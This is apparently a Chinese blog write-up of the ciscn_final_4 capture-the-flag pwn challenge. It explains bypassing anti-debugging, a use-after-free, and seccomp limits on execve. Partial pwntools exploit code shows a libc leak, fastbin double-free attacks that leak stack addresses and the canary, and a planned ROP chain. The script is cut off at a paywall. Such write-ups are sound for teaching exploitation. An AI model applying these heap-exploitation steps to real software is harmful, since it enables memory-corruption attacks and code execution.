这题比较好玩题目采用了沙盒禁用+堆栈结合+反调试
保护
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XgvNWTQj-1648114290498)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321180919410.png)]](https://i-blog.csdnimg.cn/blog_migrate/82cebd803d31d138abd81d7ea119e5bb.png)
分析
main函数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3yORn4pt-1648114290499)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321181259075.png)]](https://i-blog.csdnimg.cn/blog_migrate/de0452282fbe7e955ae407cd7fc3be71.png)
watch函数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CzgszWKW-1648114290499)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321181326677.png)]](https://i-blog.csdnimg.cn/blog_migrate/e499abfce943005ae334a00e74dadbe2.png)
结合我的注释看,这题是有反调试的,所以就我们在本地打的时候可以将这文件的反调试部分就nop掉,之前会一点点逆向的题,所以也没耗多少时间,具体nop手法看我的另一篇文章[链接]:121312
nop后的main函数:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nh2D1iu0-1648114290500)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321181854022.png)]](https://i-blog.csdnimg.cn/blog_migrate/2e919260e4724359740aeac08f862ec9.png)
new函数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0JADfctq-1648114290501)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321181930900.png)]在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/02d12371cc6c50bfe8dc65bbb3c1b4e4.png)
mwrite函数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lJlXl3fF-1648114290502)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321181950226.png)]](https://i-blog.csdnimg.cn/blog_migrate/9e6b4388f5703287111bd438add85c51.png)
delete函数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jX9HNIec-1648114290504)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321182004515.png)]](https://i-blog.csdnimg.cn/blog_migrate/e8d41fdb0a5862f384eca78cd7a468fb.png)
总结:
- add函数可以malloc 32次
- 有打印堆数据函数
- delete函数有uaf漏洞
- 运行程序后说不能执行系统调用(嗯~)之前没遇到过看了下大佬文章说是沙箱禁用了execve
所以pwn题中的沙盒一般都会限制execve的系统调用,这样一来one_gadget和system调用都不好使,只能采取openat/read/puts的组合方式来读取flag
实现沙盒机制方式:1.prctl函数调用,2.seccomp库函数。 详细解答看这篇文章->安全客
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nllbqlSC-1648114290506)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321183027000.png)]](https://i-blog.csdnimg.cn/blog_migrate/893c1ba9b957d7274d114761f006b3b5.png)
那么具体禁用了哪些系统调用可以通过seccomp-tools工具 ->> gitbhu 这题的系统调用禁用如图:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rMxsR6cn-1648114290507)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321183612246.png)]](https://i-blog.csdnimg.cn/blog_migrate/f92ab9bcd3d9ad20def1fcc0e7315e89.png)
可以看到没有禁用 open,write,read,但是我实战的时候open函数用不了,只能用openat函数
思路
这题在用之前对gdb的pwntools不是特别会使用,所以做题过程浪费很多时间,工具使用网上也不是很好去搜索,所以这里尽量记录一下使用技巧
- 因为这题有打印堆函数,所以可以很方便的泄漏libc
- 然后通过使用double free漏洞进行fast attack攻击堆分配到note_size处(bss : 0x602040-0x6020c0),因为note_size就是我们new函数填入的size,是一个可控区域那么就可以伪造fake chunk,然后将__environ指针写入到note区域进行栈地址泄漏
- 有了栈地址就可以通过fast attack攻击堆分配到stack空间了,然后就是泄漏canary,最后构造ROP(open-write-printf)
ok~
简单的泄漏libc套路
sla('\n',b'M'*0xf0 + p64(0x70)) #用于后面在栈上fakechunk
#-----------------------leak libc address-------------------------------
add(0x68,'1')#用于fastbin attack
add(0x68,'2') #用于fastbin attack
add(0xf0,'3') #leak libc
add(0x68,'4')
add(0x68,'5')
add(0x68,'6')
add(0x78,'7') #用于在bss中伪造fast chunk->size(0x78)
dele(2) #unsort bin
show(2)
ru('\n')
libc.address = info(rc(6),'libc') - (0x7f49ca2dcb78 - 0x7f49c9f18000)
再通过fastbin attack分配堆到bss的指针处进行栈地址泄漏
#-----------------------leak stack address-------------------------------
dele(1) #double free
dele(0)
dele(1)
fake = 0x602050
add(0x68,p64(fake)) # fastbin attack
add(0x68)
add(0x68)
add(0x68,p8(0)*0x60 + p64(libc.symbols['__environ'])) #在note处写入堆指针
show(0)
ru('\n')
stack = info(rc(6),'stack')
有了栈地址同样就可以fastbin attck到栈处,进行canary泄漏
#-----------------------attack into stack-------------------------------
dele(3) #double free
dele(4)
dele(3)
fake = stack - 0x120
add(0x68,p64(fake)) # fastbin attack
add(0x68)
add(0x68)
add(0x68,b'A'*0x11) #这里pase停下来后栈空间是显示的IO_stdout的栈,可以手动设置在输入content前停下来看看栈空间分布情况,当然也可手动断点在这里查看调试
show(

本文档详述了一道涉及反调试、堆栈溢出、UAF漏洞和沙盒禁用execve的PWN题目。作者通过nop掉反调试代码,利用fastbin attack和double free漏洞泄露libc和栈地址,并通过openat-read-puts组合来绕过沙盒获取flag。详细步骤包括堆分配、栈地址泄漏、canary泄漏以及构造ROP链,最终实现远程代码执行。
最低0.47元/天 解锁文章
2185

被折叠的 条评论
为什么被折叠?



